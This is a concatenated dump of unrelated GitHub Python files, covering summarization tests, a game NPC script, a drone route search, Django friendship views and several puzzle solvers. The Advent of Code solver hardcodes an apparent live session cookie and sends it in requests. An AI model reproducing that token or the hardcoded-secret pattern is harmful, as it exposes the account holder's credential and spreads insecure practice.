st.session_state.year}\nemploymentChart(key=\"employmentChart\", **props)\nif st.session_state.employmentChart is not None:\n deathSectionHeader = f'

Employment Distribution Across Industries for Male & Female in Year {st.session_state.year}

'\n container.write(deathSectionHeader, unsafe_allow_html=True)\n# --------------------------------------------------------------------------\n","repo_name":"yenwei12/my-pop-viz","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"39296510499","text":"#\n# WARNING ... these algorithms will chew up some 6 gig or more of your drive\n#\n\nfrom sample_texts import *\n\n################################################################\n# reference N3K\n\nfrom newspaper import Article, Config\n\nuser_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0'\nconfig = Config()\nconfig.browser_user_agent = user_agent\n\n# split out helper function for interactive use\ndef test00a(h_file, url='https://Example.Com/SomeArticle.html'):\n a = Article(url, config=config)\n with open(h_file) as f:\n h = f.read()\n a.download(input_html=h)\n a.parse()\n a.nlp()\n return a\n\ndef test00(h_file=HTML_1, url='https://Example.Com/SomeArticle.html'):\n a = test00a(h_file, url)\n return a.summary\n \n\n################################################################\n\ndef test04a(article=TEXT_1, min_length=40):\n # example from:\n # https://www.thepythoncode.com/article/text-summarization-using-huggingface-transformers-python\n\n from transformers import pipeline\n from transformers import T5ForConditionalGeneration, T5Tokenizer\n\n # initialize the model architecture and weights\n model = T5ForConditionalGeneration.from_pretrained(\"t5-base\")\n # model = T5ForConditionalGeneration.from_pretrained(\"t5-large\")\n\n # initialize the model tokenizer\n tokenizer = T5Tokenizer.from_pretrained(\"t5-base\")\n # tokenizer = T5Tokenizer.from_pretrained(\"t5-large\")\n\n # encode the text into tensor of integers using the appropriate tokenizer\n inputs = tokenizer.encode(\"summarize: \" + article, return_tensors=\"pt\", max_length=512, truncation=True)\n\n # generate the summarization output\n\n # (example code settings:)\n outputs = model.generate(inputs, max_length=150, min_length=min_length, length_penalty=2.0, num_beams=4, early_stopping=True)\n # this is too much, pads with garbage\n # outputs = model.generate(inputs, max_length=500, min_length=150, length_penalty=2.0, num_beams=4, early_stopping=True)\n\n # just for debugging\n # print(outputs)\n\n return(tokenizer.decode(outputs[0]))\n\ndef test04b(article=TEXT_1):\n print(\"Note: currently will probably break on some issues with models\")\n\n # from:\n # http://datageek.fr/abstractive-summarization-with-huggingface-pre-trained-models/\n\n from transformers import pipeline\n from transformers import T5ForConditionalGeneration, T5Tokenizer\n\n # Initialize the HuggingFace summarization pipeline\n # summarizer = pipeline(\"summarization\")\n \n #setting the pipeline\n # did this version work? did above summarizer first have to be imported?\n summarizer = pipeline(\"summarization\", model=\"t5-base\", tokenizer=\"t5-base\", framework=\"tf\")\n\n # run the model\n # return(summarizer(article, min_length=25, max_length=50))\n return(summarizer(article, min_length=150, max_length=500))\n\n# this one seems to work the best?\ndef test04c(article=TEXT_1):\n # from:\n # http://datageek.fr/abstractive-summarization-with-huggingface-pre-trained-models/\n\n print(\"Note: currently will probably break on some issues with models\")\n\n from transformers import pipeline\n\n # Initialize the HuggingFace summarization pipeline\n summarizer = pipeline(\"summarization\")\n\n # run the model\n return(summarizer(article, min_length=150, max_length=500))\n\n\ndef test04d(article=TEXT_1):\n print(\"Note: currently will probably break on long input\")\n\n from transformers import pipeline\n from transformers import GPT2Tokenizer, GPT2Model\n\n # example from:\n # https://www.thepythoncode.com/article/text-summarization-using-huggingface-transformers-python\n\n # initialize the model architecture and weights\n model = GPT2Model.from_pretrained(\"gpt2\")\n\n # initialize the model tokenizer\n tokenizer = GPT2Tokenizer.from_pretrained(\"gpt2\")\n\n # encode the text into tensor of integers using the appropriate tokenizer\n # inputs = tokenizer.encode(\"summarize: \" + article, return_tensors=\"pt\", max_length=512, truncation=True)\n inputs = tokenizer.encode(\"summarize: \" + article, return_tensors=\"pt\")\n\n # generate the summarization output\n\n # (example code settings:)\n # outputs = model.generate(inputs, max_length=150, min_length=40, length_penalty=2.0, num_beams=4, early_stopping=True)\n\n outputs = model.generate(inputs, max_length=500, min_length=150, length_penalty=2.0, num_beams=4, early_stopping=True)\n\n # just for debugging\n # print(outputs)\n\n return(tokenizer.decode(outputs[0]))\n\n","repo_name":"Magnusson-Institute/m066","sub_path":"alg002.py","file_name":"alg002.py","file_ext":"py","file_size_in_byte":4521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"24606740613","text":"#!/usr/bin/env python3\n\nMAX_VALUE = 4000000\n\n# iterative fibonacci\n# this sequence starts with 1, 2, 3, 5...\nfib1 = 1\nfib2 = 2\nrunningTotal = 0\n\nwhile fib1 < MAX_VALUE:\n if fib1 % 2 == 0:\n runningTotal += fib1\n fib3 = fib1 + fib2\n fib1 = fib2\n fib2 = fib3\n\nprint(runningTotal)","repo_name":"Brain13/Project-Euler","sub_path":"2 - Even Fibonacci Numbers/Brute Force.py","file_name":"Brute Force.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"70201746006","text":"from toee import *\nfrom utilities import *\nfrom Co8 import *\nfrom combat_standard_routines import *\n\n\ndef san_dialog( attachee, triggerer ):\n\tif (attachee.leader_get() != OBJ_HANDLE_NULL):\n\t\ttriggerer.begin_dialog( attachee, 110 )\t\t\t## paida in party\n\telif (game.global_vars[902] == 32 and attachee.map != 5044):\n\t\ttriggerer.begin_dialog( attachee, 240 )\t\t\t## have attacked 3 or more farm animals with paida in party and paida not at home\n\telif (game.global_flags[148] == 1) and (game.global_flags[932] == 0):\n\t\ttriggerer.begin_dialog( attachee, 70 )\t\t\t## paida dispelled and has not talked to you yet since\n\telif (game.global_flags[148] == 0):\n\t\tif (game.global_flags[325] == 1):\n\t\t\ttriggerer.begin_dialog( attachee, 230 )\t\t## paida not dispelled and hedrack killed in front of her\n\t\telse:\n\t\t\ttriggerer.begin_dialog( attachee, 1 )\t\t## paida not dispelled\n\telif (game.global_flags[38] == 1):\n\t\ttriggerer.begin_dialog( attachee, 170 )\t\t\t## paida has been returned to valden\n\telse:\n\t\ttriggerer.begin_dialog( attachee, 160 )\t\t\t## none of the above - will fire angry dialog like you left her in temple\n\treturn SKIP_DEFAULT\n\n\ndef san_first_heartbeat( attachee, triggerer ):\n\tif ( ( game.global_flags[149] == 1 ) or ( game.global_flags[38] == 1 ) ):\n\t\tif ( attachee.map == 5044 ):\n\t\t\tif (game.global_vars[501] == 4 or game.global_vars[501] == 5 or game.global_vars[501] == 6 or game.global_vars[510] == 2):\n\t\t\t\tattachee.object_flag_set(OF_OFF)\n\t\t\telse:\n\t\t\t\tattachee.object_flag_unset(OF_OFF)\n\t\tif ( attachee.map == 5080 ):\n\t\t\tattachee.object_flag_set(OF_OFF)\n\telif ( attachee.map == 5044 and attachee.leader_get() == OBJ_HANDLE_NULL):\n\t\tattachee.object_flag_set(OF_OFF)\n\treturn RUN_DEFAULT\n\n\ndef san_dying( attachee, triggerer ):\n\tif should_modify_CR( attachee ):\n\t\tmodify_CR( attachee, get_av_level() )\n\tgame.global_flags[153] = 1\n\tif (game.global_flags[238] == 0):\n\t\tattachee.float_line(12014,triggerer)\n\t\tgame.global_vars[23] = game.global_vars[23] + 1\n\t\tif game.global_vars[23] >= 2:\n\t\t\tgame.party[0].reputation_add( 92 )\n\telse:\n\t\tgame.global_vars[29] = game.global_vars[29] + 1\n\t\tattachee.float_line(12014,triggerer)\n\treturn RUN_DEFAULT\n\n\ndef san_enter_combat( attachee, triggerer ):\n\tProtectTheInnocent(attachee, triggerer)\n\tattachee.float_line(12057,triggerer)\n\treturn RUN_DEFAULT\n\n\ndef san_resurrect( attachee, triggerer ):\n\tgame.global_flags[153] = 0\n\treturn RUN_DEFAULT\n\n\ndef san_heartbeat( attachee, triggerer ):\n\tif (not game.combat_is_active()):\n\t\tStopCombat(attachee, 1)\n\t\tif (game.quests[20].state == qs_completed):\n\t\t\tfor pc in game.party:\n\t\t\t\tif pc.has_follower(8001):\n\t\t\t\t\tpc.follower_remove( attachee )\n\t\t\t\t\tgame.new_sid = 0\n\t\telif (game.global_vars[902] >= 3):\n\t\t\tif (attachee != OBJ_HANDLE_NULL):\n\t\t\t\tleader = attachee.leader_get()\n\t\t\t\tif (leader != OBJ_HANDLE_NULL):\n\t\t\t\t\tleader.follower_remove(attachee)\n\t\t\t\t\tattachee.float_line(22000,triggerer)\n\t\t\t\t\tif (attachee.map == 5001):\n\t\t\t\t\t\tgame.quests[20].state = qs_completed\n\t\t\t\t\t\tgame.global_flags[38] = 1\n\treturn RUN_DEFAULT\n\n\ndef san_join( attachee, triggerer ):\n\tgame.global_flags[238] = 1\n\treturn RUN_DEFAULT\n\n\ndef san_disband( attachee, triggerer ):\n\tgame.global_flags[238] = 0\n\tfor pc in game.party:\n\t\tattachee.ai_shitlist_remove( pc )\n\t\tattachee.reaction_set( pc, 50 )\n\treturn RUN_DEFAULT\n\n\ndef san_spell_cast( attachee, triggerer, spell ):\n\tif ( spell.spell == spell_dispel_magic or spell.spell == spell_break_enchantment or spell.spell == spell_dispel_evil ):\n\t\tgame.global_flags[148] = 1\n\t\ttriggerer.begin_dialog( attachee, 70 )\n\t\tfor pc in game.party:\n\t\t\tattachee.ai_shitlist_remove( pc )\n\treturn RUN_DEFAULT\n\n\ndef run_off( attachee, triggerer ):\n\t#attachee.standpoint_set( STANDPOINT_NIGHT, 257 )\n\t#attachee.standpoint_set( STANDPOINT_DAY, 257 )\n\tattachee.runoff(attachee.location-6)\n\treturn RUN_DEFAULT\n\n\ndef LookHedrack( attachee, triggerer, line):\n\tnpc = find_npc_near(attachee,8032)\n\tif (npc != OBJ_HANDLE_NULL) and ( game.global_flags[146] == 0 ):\n\t\ttriggerer.begin_dialog(npc,line)\n\t\tnpc.turn_towards(attachee)\n\t\tattachee.turn_towards(npc)\n\telse:\n\t\ttriggerer.begin_dialog(attachee,10)\n\treturn SKIP_DEFAULT\n\n\ndef get_rep( attachee, triggerer ):\n\tif triggerer.reputation_has( 7 ) == 0:\n\t\ttriggerer.reputation_add( 7 )\n\tgame.global_vars[25] = game.global_vars[25] + 1\n\tif ( game.global_vars[25] >= 3 and triggerer.reputation_has( 8 ) == 0):\n\t\ttriggerer.reputation_add( 8 )\n\treturn RUN_DEFAULT","repo_name":"GrognardsFromHell/TemplePlus","sub_path":"tpdatasrc/co8fixes/scr/py00143paida.py","file_name":"py00143paida.py","file_ext":"py","file_size_in_byte":4371,"program_lang":"python","lang":"en","doc_type":"code","stars":81,"dataset":"github-code","pt":"30"} +{"seq_id":"22080715014","text":"# Author: Kasey French\n# April 13th 2019\n#\n#\n\n\"\"\"\nYou have just received a job in charge of the flight planning system for a drone delivery service. You're responsible for designing a system that when given a virtual map of an area can map out a flight path for the drone that will maximize the number of customers served.\nProblem:\n\nWrite a function which takes as parameters\n\nA 2D array representing the flight area. The value of a specific coordinate in the matrix represents the number of customers at that location.\nA tuple representing the take off location of the drone\nA tuple representing the landing location of the drone\nThis function should then return an integer representing the maximum customers that could be serviced on the optimal flight path.\n\nConditions:\n\nA flight path cannot overlap itself.\nAny point with a value of '-1' is a no-fly area. The drone cannot fly through it.\n(Extra Credit) you can extend the function to include an integer \"gas\" parameter which indicates the maximum number of spaces the drone can traverse.\n\"\"\"\n\n\n\"\"\"\nMy solution to this problem involves tackling from the perspective of graph theory and creating\na mapping of nodes for each point and the map anc creating a relationships between the various\nnodes. Each matrix element in the input data is represented as a node, and each node is\nconnected to it's adjacent nodes via the edge class. The Depth Search algorithm uses recursion\nat each node to explore each path that could be taken at that step, weighted by the number\nof customers at each node. The optimal path is defined for me as the path with the max value\nof the customers served divided by the length of the path since this seemed to align with the\nexample's definition of optimization. The optional parameter of gas is also included.\n\"\"\"\nimport numpy as np\n\n\n# Basic data structure representing data and nodes with their relationships.\nclass DiGraph(object):\n\tdef __init__(self, data):\n\t\tself.data = np.array(data)\n\t\tself.nodes = []\n\t\tself.edges = {}\n\n\t# Converts the input data to a list of node objects.\n\tdef createNodes(self):\n\t\t(x,y) = self.data.shape\n\t\tx = range(0,x)\n\t\ty = range(0,y)\n\t\tfor i in x:\n\t\t\tfor j in y:\n\t\t\t\tself.nodes.append(Node(position = (i,j), weight = self.data[i][j]))\n\n\t# Creates edge relationship between adjacent nodes.\n\tdef createEdges(self):\n\t\tfor node1 in self.nodes:\n\t\t\tself.edges[node1] = []\n\t\t\tfor node2 in self.nodes:\n\t\t\t\tdist = np.array(np.subtract(node1.position, node2.position))\n\t\t\t\tdist = np.linalg.norm(dist)\n\t\t\t\tif np.abs(dist) == 1:\n\t\t\t\t\tself.edges[node1].append(node2)\n\n\t# Returns the nodes directly adjacent to inut node.\n\tdef childrenOf(self, node):\n\t\treturn self.edges[node]\n\n\tdef size(self):\n\t\treturn self.data.shape[0] * self.data.shape[1]\n\n\t# Searches the graph for the node at the given tuple position.\n\tdef findNode(self, pos):\n\t\tx,y = pos\n\t\tfor node in self.nodes:\n\t\t\tif (x,y) == node.position:\n\t\t\t\treturn node\n\t\traise Exception(\"Error: Node not in map\")\n\n\nclass Node(object):\n\tdef __init__(self, position, weight):\n\t\tself.weight = weight\n\t\tself.position = position\n\n\tdef __str__(self):\n\t\treturn (\"({},{})\".format(self.position[0],self.position[1]))\n\nclass Edge(object):\n\tdef __init__(self, start, end):\n\t\tself.start = start\n\t\tself.end = end\n\n# Finds the \"optimal path\" to from start to end nodes on the input graph.\ndef DepthSearch(graph, start, end, path, optimalPath, optimalEfficiency, gas = None):\n\tpath = path + [start]\n\tif start == end:\n\t\treturn path\n\tif start.weight < 0 or end.weight < 0:\n\t\traise Exception(\"Start or end point incorrect: Drone cannot fly there\")\n\n\tif gas == None:\n\t\tmaxLength = graph.size()\n\telse:\n\t\tmaxLength = gas\n\n\tfor node in graph.childrenOf(start):\n\t\tif node not in path and node.weight >= 0:\n\t\t\tnewPath = DepthSearch(graph, node, end, path, optimalPath, optimalEfficiency, gas = maxLength)\n\t\t\tefficiency = 0\n\t\t\tif len(newPath) > 0 and len(newPath) <= maxLength:\n\t\t\t\tfor node in newPath:\n\t\t\t\t\tefficiency += node.weight\n\t\t\t\tefficiency = efficiency / len(newPath)\n\t\t\t\tif efficiency > optimalEfficiency:\n\t\t\t\t\toptimalEfficiency = efficiency\n\t\t\t\t\toptimalPath = newPath\n\n\treturn optimalPath\n\n# Visualizes the path of the drone for a given path\ndef printPath(path):\n\tresult = ''\n\tfor i in range(len(path)):\n\t\tresult = result + str(path[i])\n\t\tif i != len(path) - 1:\n\t\t\tresult = result + '->'\n\treturn result\n\n# Takes in input data for map and returns the optimal number of customers a drone can visit on it\ndef optimalFlightPath(input_map, start, end, gas = None):\n graph = DiGraph(input_map)\n graph.createNodes()\n graph.createEdges()\n startNode = graph.findNode(start)\n endNode = graph.findNode(end)\n if gas != None:\n \tgas = gas + 1\n path = DepthSearch(graph, startNode, endNode, path = [], optimalPath = [], optimalEfficiency = 0, gas = gas)\n #print(printPath(path))\n numCustomers = 0\n for node in path:\n \tnumCustomers += node.weight\n\n return numCustomers\n\ndef main():\n\tinput_map = [\n [0, 0, 1, 1, 5],\n [1, 1, 1, -1, 7],\n [1, 1, 1, -1, 1],\n [1, 1, 1, -1, 9],\n [5, 1, 1, 1, 0],\n\t]\n\n\t# test_map = np.random.randint(-1, 2, size = (8,8))\n\n\tcustomers = optimalFlightPath(input_map, (0,0), (4,4), gas = None)\n\tprint(customers)\n\nif __name__ == \"__main__\":\n\tmain()\n\n\n\n\n\n\n\n\n\n","repo_name":"kaseyfrench/Drone_Optimization","sub_path":"Drone_Optimal_Route.py","file_name":"Drone_Optimal_Route.py","file_ext":"py","file_size_in_byte":5227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"25504740694","text":"'''\nThis file contains all the constant configurations \ntaken from the robot soccer server manual 7.07.\n'''\n\nPLAYER_CONFIG = {\n 'POWER_RATE': 0.006,\n 'SIZE': 0.9,\n 'RAND': 0.1,\n 'ACCEL_MAX': 1.0,\n 'SPEED_MAX': 1.0,\n 'DECAY': 0.4,\n 'MASS': 60 \n}\n\nBALL_CONFIG = {\n 'POWER_RATE': 0.027,\n 'SIZE': 0.4,\n 'RAND': 0.05,\n 'ACCEL_MAX': 2.7,\n 'SPEED_MAX': 2.7,\n 'DECAY': 0.94,\n 'MASS': 0.2\n}\n\nMINPOWER = -100\nMAXPOWER = 100\nKICKABLE = PLAYER_CONFIG['SIZE'] + 0.7\nCATCHABLE = 2.0\nCATCH_PROBABILITY = 1.0\nINERTIA_MOMENT = 5.0\nPITCH_LENGTH = 40#105\nPITCH_WIDTH = 30#68\nCENTRE_CIRCLE_RADIUS = 9.15\nPENALTY_AREA_LENGTH = 16.5\nPENALTY_AREA_WIDTH = 40.32\nGOAL_AREA_LENGTH = 5.5\nGOAL_AREA_WIDTH = 18.32\nGOAL_WIDTH = 14.02\nGOAL_DEPTH = 2.44\n","repo_name":"WarwickMasson/aaai-goal","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"30"} +{"seq_id":"34670009249","text":"from rest_framework import serializers\nfrom .models import Meal\n\n# <<<<<<<<<<<<<<<<< EXAMPLE FOR STARTER CODE USE <<<<<<<<<<<<<<<<<\n\n\nclass MealSerializer(serializers.ModelSerializer):\n class Meta:\n model = Meal\n fields = ['id', 'name', 'notes', 'url', \n 'prep_time_minutes', 'prep_time_hours', \n 'cook_time_minutes', 'cook_time_hours', 'user_id']\n depth = 1\n # user_id = serializers.IntegerField(write_only=True)\n","repo_name":"aamrlyman/MealPlanningGroceryApp","sub_path":"backend/meals/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"9505234103","text":"\"\"\"\ndef moos(suured, vaikesed, kogus):\n vajavaikseid = kogus % 5\n print(\"vajavaikseid: \", str(vajavaikseid)) \n vajasuuri = (kogus - vajavaikseid)/5\n \n if vajasuuri > suured or vajavaikseid > vaikesed:\n a = vajasuuri - suured\n b = vaikesed - vajavaikseid\n if a < b and vajavaikseid > vaikesed:\n return -1\n elif a < b:\n e = vaikesed - (b-a*5)\n return int(suured + e) \n #3return -1\n else:\n return int(vajavaikseid + vajasuuri)\n\"\"\"\n\ndef moos(suur, vaike, kogus):\n suured = 0\n vaikesed = 0\n \n while (suured +1)*5 <= kogus and (suured +1) <= suur:\n suured +=1\n if kogus - (suured*5) <= vaike:\n vaikesed = kogus - (suured*5)\n \n else:\n return -1\n return suured + vaikesed\n \n\n\nprint(moos(1, 1, 11))","repo_name":"ArR4e/DSProject","sub_path":"processed/K05/S082/kodu3.py","file_name":"kodu3.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"fi","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"10243418432","text":"# _*_ coding: utf-8 _*_\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport matplotlib.font_manager as fm\nimport matplotlib\n\ndef simple_plot():\n \"\"\"\n simple plot\n \"\"\"\n # 生成画布\n # fig = plt.figure(figsize=(8, 6), dpi=80)\n\n # 打开交互模式\n plt.ion()\n\n # 循环\n for index in range(100):\n # 清除原有图像\n plt.cla()\n\n # 设定标题等\n plt.title(\"efsf\")\n plt.grid(True)\n\n # 生成测试数据\n x = np.linspace(-np.pi + 0.1*index, np.pi+0.1*index, 256, endpoint=True)\n y_cos, y_sin = np.cos(x), np.sin(x)\n\n # 设置X轴\n plt.xlabel(\"X Axis\")\n plt.xlim(-4 + 0.1*index, 4 + 0.1*index)\n plt.xticks(np.linspace(-4 + 0.1*index, 4+0.1*index, 9, endpoint=True))\n\n # 设置Y轴\n plt.ylabel(\"Y Axis\")\n plt.ylim(-1.0, 1.0)\n plt.yticks(np.linspace(-1, 1, 9, endpoint=True))\n\n # 画两条曲线\n plt.subplot(2,1,1) \n plt.plot(x, y_cos, \"b--\", linewidth=2.0, label=\"cos\")\n \n plt.subplot(2,1,2)\n plt.plot(x, y_sin, \"g-\", linewidth=2.0, label=\"sin\")\n\n # 设置图例位置,loc可以为[upper, lower, left, right, center]\n plt.legend(loc=\"upper left\")\n\n # 暂停\n plt.pause(0.1)\n\n # 关闭交互模式\n plt.ioff()\n\n # 图形显示\n plt.show()\n return\n# simple_plot()\n\nsimple_plot()","repo_name":"Menglord/deep_learning_abc","sub_path":"src/plot_test.py","file_name":"plot_test.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"30"} +{"seq_id":"41818810515","text":"import requests\nimport os\nimport sys\n\nUSER_SESSION_ID = '53616c7465645f5fd8a9a66fd042c2cbd57b12590cd8fc39cd2e79eca0ee6f70255d1f049c85b290796ec5986b855d1f4e4591e9422c3b2ce0e62dbbb2058856'\n\ndef setup(day):\n if not os.path.exists(day):\n os.mkdir(day)\n\n with requests.get(f'https://adventofcode.com/2022/day/{day}/input', cookies={\"session\": USER_SESSION_ID}) as response:\n if response.ok:\n data = response.text\n input = open(f\"{day}\"+\"/input.txt\", \"w+\")\n input.write(data.rstrip(\"\\n\"))\n input.close()\n\n data = []\n with open(f\"{day}/input.txt\", 'r') as f:\n line = f.readline()\n while line:\n data.append(line.removesuffix('\\n'))\n line = f.readline()\n \n return data\n\ndata = setup('7')\n\n\ndef parse_line(line:str):\n\n current_dir = dirstack[len(dirstack) - 1] if len(dirstack) else None\n\n # command cd or ls\n if line.startswith('$'):\n command = line.split(' ')[1]\n\n if command == 'cd':\n dest = line.split(' ')[2]\n if dest == '..':\n dir = dirstack.pop()\n dir_hist[dir.location] = dir.size\n return\n else:\n dirstack.append(Dir(current_dir.location + '/' + dest, current_dir))\n return\n else: # command is ls\n return\n \n # ls contents\n else:\n if line.split(' ')[0] == 'dir':\n return\n else:\n size = line.split(' ')[0]\n current_dir.increment_size(size)\n return\n\n# idea:\n# for every dir encountered, create a dir object\n# when ls is called, add sizes to the dir object\n# recurse until a point when there are no more dir objects\n# if a dir object is encountered during ls, add to the stack\n\n\nclass Dir():\n\n size = 0\n\n def __init__(self, location, parent_dir):\n self.location = location\n self.parent_dir = parent_dir\n \n def increment_size(self, amount):\n \n if self.parent_dir:\n self.parent_dir.increment_size(amount)\n\n self.size += int(amount)\n \n\n def __str__(self):\n return(f\"{self.location}, {self.size}\")\n\ndirstack: Dir = []\ndir_hist = {}\n\ndirstack.append(Dir('/', None))\n\nfor line in data[1:]:\n parse_line(line)\n\n# part 1\ntotal = 0\nfor k, v in dir_hist.items():\n if v <= 100000:\n total+=v\n\nprint(total)\n\n# 70000000 - '/'.size = 19783544\n# 30000000 - 19783544 = 10216456\n# we need to free at least 10216456 bytes. What is the smallest directory we can delete to do so?\n# part 2\n\nmin_greater = sys.maxsize\ncutoff = 10216456\nfor k, v in dir_hist.items():\n if v >= cutoff and v < min_greater:\n min_greater = v\n\nprint(min_greater)\n\n","repo_name":"wconrad9/AOC2022","sub_path":"7/7.py","file_name":"7.py","file_ext":"py","file_size_in_byte":2861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"24183111505","text":"\"\"\"empty message\n\nRevision ID: 2be78e23fb73\nRevises: 41378a164af5\nCreate Date: 2022-04-04 16:45:20.840844\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '2be78e23fb73'\ndown_revision = '41378a164af5'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('plant', sa.Column('favorite_id', sa.Integer(), nullable=True))\n op.create_foreign_key(None, 'plant', 'favorites', ['favorite_id'], ['id'])\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(None, 'plant', type_='foreignkey')\n op.drop_column('plant', 'favorite_id')\n # ### end Alembic commands ###\n","repo_name":"cnvorous/Plant-Final-Project-","sub_path":"migrations/versions/2be78e23fb73_.py","file_name":"2be78e23fb73_.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"4852375914","text":"from rest_framework import viewsets, status\nfrom rest_framework.decorators import action\nfrom rest_framework.permissions import IsAuthenticated, AllowAny\nfrom rest_framework.response import Response\nfrom friendships.models import Friendship\nfrom friendships.api.serializers import (\n FollowerSerializer,\n FollowingSerializer,\n FriendshipSerializerForCreate,\n)\nfrom django.contrib.auth.models import User\nfrom friendships.api.paginations import FriendshipPagination\nfrom django.utils.decorators import method_decorator\nfrom ratelimit.decorators import ratelimit\nfrom friendships.services import FriendshipService\nfrom utils.paginations import EndlessPagination\nfrom gatekeeper.models import GateKeeper\nfrom friendships.hbase_models import HBaseFollowing, HBaseFollower\n\n\nclass FriendshipViewSet(viewsets.GenericViewSet):\n serializer_class = FriendshipSerializerForCreate\n # 我们希望 POST /api/friendship/1/follow 是去 follow user_id=1 的用户\n # 因此这里 queryset 需要是 User.objects.all()\n # 如果是 Friendship.objects.all 的话就会出现 404 Not Found\n # 因为 detail=True 的 actions 会默认先去调用 get_object() 也就是\n # queryset.filter(pk=1) 查询一下这个 object 在不在\n queryset = User.objects.all()\n # 一般来说,不同的 views 所需要的 pagination 规则肯定是不同的,因此一般都需要自定义\n pagination_class = EndlessPagination\n\n # GET api/friendships/1/followers/\n @action(methods=['GET'], detail=True, permission_classes=[AllowAny])\n @method_decorator(ratelimit(key='user_or_ip', rate='3/s', method='GET', block=True))\n def followers(self, request, pk):\n pk = int(pk)\n if GateKeeper.is_switch_on('switch_friendship_to_hbase'):\n # pk is the row key\n page = self.paginator.paginate_hbase(HBaseFollower, (pk,), request)\n else:\n friendships = Friendship.objects.filter(to_user_id=pk).order_by('-created_at')\n page = self.paginate_queryset(friendships)\n\n serializer = FollowerSerializer(page, many=True, context={'request': request})\n # paginator is the instance of pagination_class\n return self.paginator.get_paginated_response(serializer.data)\n\n # detail = true means this function will be part of api\n @action(methods=['GET'], detail=True, permission_classes=[AllowAny])\n @method_decorator(ratelimit(key='user_or_ip', rate='3/s', method='GET', block=True))\n def followings(self, request, pk):\n pk = int(pk)\n if GateKeeper.is_switch_on('switch_friendship_to_hbase'):\n page = self.paginator.paginate_hbase(HBaseFollowing, (pk,), request)\n else:\n friendships = Friendship.objects.filter(from_user_id=pk).order_by('-created_at')\n page = self.paginate_queryset(friendships)\n serializer = FollowingSerializer(page, many=True, context={'request': request})\n return self.paginator.get_paginated_response(serializer.data)\n\n # /api/friendships//follow\n @action(methods=['POST'], detail=True, permission_classes=[IsAuthenticated])\n @method_decorator(ratelimit(key='user_or_ip', rate='3/s', method='GET', block=True))\n def follow(self, request, pk):\n # 特殊判断重复 follow 的情况(比如前端猛点好多少次 follow)\n # 静默处理,不报错,因为这类重复操作因为网络延迟的原因会比较多,没必要当做错误处理\n to_follow_user = self.get_object()\n if FriendshipService.has_followed(request.user.id, to_follow_user.id):\n return Response({\n 'success': False,\n 'message': 'Please check input',\n 'errors': [{'pk': f'You has followed user with id={pk}'}],\n }, status=status.HTTP_400_BAD_REQUEST)\n\n serializer = FriendshipSerializerForCreate(data= {\n 'from_user_id': request.user.id,\n 'to_user_id': pk,\n })\n if not serializer.is_valid():\n return Response({\n \"success\": False,\n \"message\": \"Please check input.\",\n \"errors\": serializer.errors,\n }, status=status.HTTP_400_BAD_REQUEST)\n instance = serializer.save()\n return Response(\n FollowingSerializer(instance, context={'request': request}).data,\n status=status.HTTP_201_CREATED,\n )\n\n # /api/friendships//unfollow\n @action(methods=['POST'], detail=True, permission_classes=[IsAuthenticated])\n @method_decorator(ratelimit(key='user', rate='10/s', method='POST', block=True))\n def unfollow(self, request, pk):\n # using pk as id\n unfollow_user = self.get_object()\n if request.user.id == unfollow_user.id:\n return Response({\n 'success': False,\n 'message': 'You cannot unfollow yourself'\n }, status=status.HTTP_400_BAD_REQUEST)\n deleted = FriendshipService.unfollow(request.user.id, int(pk))\n return Response({'success': True, 'deleted': deleted}, status=status.HTTP_204_NO_CONTENT)\n\n def list(self, request):\n return Response({'message': 'this is placeholder'})\n","repo_name":"wendyfly/django-twitter","sub_path":"friendships/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"20010221935","text":"from src.instructions import STORE\nfrom src.blocks.constant import Constant\nfrom src.errors import Error\nfrom src.registers import RegisterManager\nfrom src.blocks import Block\n\n\nclass Assignment(Block):\n def __init__(self, var, expression, lineno):\n super().__init__()\n\n self.var = var\n self.expression = expression\n self.lineno = lineno\n\n def generate_code(self):\n from src.variables import UndeclaredIterator\n\n # Check if var is not Iterator\n if isinstance(self.var, UndeclaredIterator):\n Error.IteratorModification.throw(self.lineno)\n\n # Set variable to be initilized\n self.var.initilized = True\n\n # Generate code for expression - to register 1\n expr_reg = RegisterManager.get_register()\n expression_code = self.expression.generate_code(expr_reg, self.lineno)\n\n # Generate code for variable memory block - to register 2\n var_reg = RegisterManager.get_register()\n var_code = self.var.generate_mem(var_reg, self.lineno)\n\n # Append codes and add store\n code = expression_code + var_code\n code.append(STORE(expr_reg, var_reg))\n\n # Unlock registers\n expr_reg.unlock()\n var_reg.unlock()\n\n return 